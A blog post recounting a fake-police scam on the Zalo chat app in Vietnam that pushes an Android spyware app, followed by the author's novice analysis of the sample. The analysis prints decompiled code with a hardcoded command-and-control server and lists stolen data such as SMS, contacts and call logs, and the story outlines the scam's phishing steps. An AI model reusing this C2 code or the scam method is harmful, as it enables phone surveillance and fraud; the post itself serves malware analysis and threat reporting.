A Police Department Scam on Zalo App that leads to an Android SpySMS variant

The Scam

A few days ago, one of my acquaintances was getting scammed. She was contacted on the phone by a "police officer," saying she has been accused of committing a crime. Apparently, a current well-known criminal group has mentioned her name. After confirming her identity, a fake subpoena was sent to her Zalo account. The document had her name, an authority signature, and a stamp. FYI, Zalo is a popular chat app in Vietnam that uses phone numbers as account IDs. As a typical working-class Vietnamese lady, her exposure to the Internet is pretty much Youtube and Zalo. It may be hard for us to believe, but that is all it takes for her to get bamboozled. Next step, she was requested to go on a Police Department phishing site and enter the citizen ID to view her case.



Interestingly, she had to enter the correct ID for it to work. I guess that they used the information she provided earlier to set up the webpage. After the successful identification, a new page was served to her with the previously offered subpoena and additional fake documents.
A few minutes later, they called her again, discussing the bailout option. At this point, the whole thing sounded pretty BS, but she was scared enough to continue. Sadly, she entered her bank information on another page from the same website:


After exchanging more documents, the scammer asked her to download the payload on the site (my main interest here). In the end, she found out the whole thing was a fraud when she was just one step away from losing all her money. I also helped her to manufactory reset the phone after taking a look at the payload.

The Malware

At the time of writing this article, I am still new to malware analysis. On top of that, this is my first attempt to analyze an Android sample. I hope you guys don't bust out laughing at my inexperiences. 

First, I used apktool to get the AndroidManifest.xml. Just by looking at app permissions, it is obvious this is a malicious application.

Permission List

There are also 3 interesting modules:

com.loan.mysms3.ReceivePhone
com.loan.mysms3.SmsListener
com.loan.mysms3.RespondService
com.loan.mysms3.BackgroundService

Interestingly, there is a legit Android app called MySMS that allows you to receive your phone messages from a laptop. However, I have no clue whether these two apps are related.

By using dex2jar I was able to get some decompiled code with some errors. The only obfuscation technique was used is stripping class/method/variable names.

There are two network IOCs hard-coded:



The URL in MainActivity.class

By the use of WebView, setWebViewClient, and loadURL APIs, I predict the malware tries to load the web page from the embedded URL onto the application view. So I did some domain-lookup and found out that IP address 45[.]63[.]60[.]197 is hosting 2 websites:


  • 0236113[.]com - The original website provided to the victim
  • 113vn113[.]com - The embedded URL

Both websites have the same registration information:

Date:
Created on 2019-09-20
Expires on 2020-09-20

Tech Contact:
Nicolas Chu
Microsettings
280 cache Street,
pingcheng, hualien, 309, tw

After checking both domains in a web browser, I can confirm they are identical.

The Command and Control Server in BackgroundService.class

Once again, the C2 is hardcoded:


private String c2 = "http://95[.]179[.]208[.]71/";
........
    StringBuilder stringBuilder = new StringBuilder();
    stringBuilder.append(this.c2);
    stringBuilder.append("app/input.php");
    c2_input = stringBuilder.toString();
    stringBuilder = new StringBuilder();
    stringBuilder.append(this.c2);
    stringBuilder.append("app/input2.php");
    this.g = stringBuilder.toString();
    stringBuilder = new StringBuilder();
    stringBuilder.append(this.c2);
    stringBuilder.append("app/input3.php");
    this.aN = stringBuilder.toString();
    stringBuilder = new StringBuilder();
    stringBuilder.append(this.c2);
    stringBuilder.append("app/input4.php");
    this.aO = stringBuilder.toString();
    stringBuilder = new StringBuilder();
    stringBuilder.append(this.c2);
    stringBuilder.append("app/input5.php");
    this.aP = stringBuilder.toString();
    stringBuilder = new StringBuilder();
    stringBuilder.append(this.c2);
    stringBuilder.append("app/input6.php");
    this.aQ = stringBuilder.toString();
    stringBuilder = new StringBuilder();
    stringBuilder.append(this.c2);
    stringBuilder.append("app/input7.php");
    this.aR = stringBuilder.toString();
    stringBuilder = new StringBuilder();
    stringBuilder.append(this.c2);
    stringBuilder.append("app/input8.php");
    this.aS = stringBuilder.toString();
    stringBuilder = new StringBuilder();
    stringBuilder.append(this.c2);
    stringBuilder.append("app/input9.php");
    this.aT = stringBuilder.toString();
    stringBuilder = new StringBuilder();
    stringBuilder.append(this.c2);
    stringBuilder.append("app/input10.php");
    this.aU = stringBuilder.toString();
    stringBuilder = new StringBuilder();
    stringBuilder.append(this.c2);
    stringBuilder.append("app/input11.php");
    this.aV = stringBuilder.toString();
    stringBuilder = new StringBuilder();
    stringBuilder.append(this.c2);
    stringBuilder.append("app/input12.php");
    this.aW = stringBuilder.toString();
    stringBuilder = new StringBuilder();
    stringBuilder.append(this.c2);
    stringBuilder.append("app/input13.php");
    this.aX = stringBuilder.toString();
    stringBuilder = new StringBuilder();
    stringBuilder.append(this.c2);
    stringBuilder.append("app/input14.php");
    this.aY = stringBuilder.toString();
    stringBuilder = new StringBuilder();
    stringBuilder.append(this.c2);
    stringBuilder.append("app/input15.php");


Strangely, I can't find any other references to these strings other than their declarations and assignments. Since I don't have a Android sandbox, I decided to perform an HTTP request to the c2_input  and here is what I got back:

{"testjson":[],"callcontacts":[],"testjson3":[],"calltransferredlist":[],"actlist":[],"Control":[{"sn":"104","Mute":"","Light":""}]}

Each field in this JSON template is checked by a series of "try... catch" logic. Here is the one that checked testjson3 field:

try {
    JSONArray jSONArray = (new JSONObject(str)).getJSONArray("testjson3");
    for (int i = 0; i < jSONArray.length(); i++) {
      Handler handler;
      Message message;
      switch (Integer.valueOf(jSONArray.getJSONObject(i).getString("J_PhoneState")).intValue()) {
        case 2:
          message = new Message();
          message.what = 4;
          handler = BackgroundService.K(this.str);
          handler.sendMessage(message);
          break;
        case 1:
          message = new Message();
          this.a.b = jSONArray.getJSONObject(i).getString("J_PhoneNo");
          message.what = 3;
          handler = BackgroundService.K(this.str);
          handler.sendMessage(message);
          break;
      } 
    } 
  } catch (JSONException jSONException) {
    String str1 = BackgroundService.a(this.str);
    StringBuilder stringBuilder = new StringBuilder();
    stringBuilder.append("getJSONFromUrl Error parsing data ");
    stringBuilder.append(jSONException.toString());
    Log.e(str1, stringBuilder.toString());
  }
......

This leads me to believe the hardcoded C2 is legit. It also confirms that the app prepares stolen data in JSON format and send them using sendMessage API.

Stealing Functionality

The malicious app steals the following information:
  • MAC Address 
  • IMEI 
  • Volume Settings 
  • Light Settings 
  • GPS
  • Wifi
  • Contact List 
  • Call Logs 
  • SMS Messages 
  • Call Status 

Chinese artifacts and other odd stuff

The HTML components in their web pages contain some Chinese comments such as:

<html lang="zh-TW">
<head>

<meta charset="utf-8" lang="zh-TW" />
<meta http-equiv="Content-Language" content="zh-tw" />
<meta name="distribution" content="Taiwan">

//顯示 <a>區塊與編號
    function add_a_background_color_and_number()

//加入<a>圖片
    function add_a_img()


/加入 href


The app also includes some Chinese


A strange check for OPPA or Vivo phone:
    if (k().contains("Vivo") || k().contains("OPPO")) {
                  str = "3";
                } else {
                  str = "2";
                } 


A typo in JSON field:
  jSONObject.put("MuteStae", this.B);


IOCs:

MD5 f067bdfb223439d8f96b1031a96151aa
SHA-1 8a8cfdc875c0928073044b0fe46b3d785f7968b4
SHA-256 f456f8f42f596391ce8d52b32712048eeb9c37b4ba2a966c5acd15afe7c5df7e

http://www[.]113vn113[.]com
http://www[.]0236113[.]com/output2[.]php
http://www[.]95.179.208.71/app/input.php
45[.]63[.]60[.]197 
95[.]179[.]208[.]71

Comments

Post a Comment

Popular posts from this blog

3 Levels of Unpacking For Newbies. Part #1: Conceptually Unpack UPX

3 Levels of Unpacking For Newbies. Part #2: Stubbornly Unpack VB6 RunPE